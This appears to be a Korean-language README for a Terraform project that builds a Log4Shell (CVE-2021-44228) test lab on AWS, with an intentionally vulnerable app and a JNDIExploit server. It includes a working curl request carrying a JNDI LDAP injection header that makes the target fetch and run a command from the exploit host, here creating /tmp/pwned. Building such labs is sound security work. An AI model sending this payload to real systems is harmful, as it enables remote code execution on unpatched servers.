mkhazamipour/log4j-vulnerable-app-cve-2021-44228-terraform취약한 앱을 배포하기 위한 Terraform 및 CVE-2021-44228과 함께 작동하는 JDNIExploit
취약한 앱과 CVE-2021-44228에 대응하는 JNDIExploit을 배포하기 위한 Terraform입니다.
이 Terraform은 AWS Cloud의 VPC에 두 개의 인스턴스를 생성합니다.
AWS_ACCESS_KEY_ID와 AWS_SECRET_ACCESS_KEY를 내보내기(export)만 하면 됩니다.
하나의 인스턴스는 JNDIExploit입니다.
두 번째는 log4j 익스플로잇을 위한 Vulnerable-App입니다.
적용(apply)하기 전에 Terraform에서 SSH 공개 키를 반드시 교체하세요.
terraform init
terraform plan
terraform apply --auto-approve
AWS에 배포한 후 curl 요청으로 익스플로잇할 수 있으며, vulnerable-app 컨테이너의 /tmp에서 파일 생성 여부를 확인할 수 있습니다.
curl ${vulnerable-app-IP}:8090 -H 'X-Api-Version: ${jndi:ldap://${JNDIExploit-IP}:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
vulnerable-app 서버에서 다음 명령어를 실행하여 명령 실행을 확인합니다. pwned 파일이 보여야 합니다.
sudo docker exec -ti vulnerable-app ls /tmp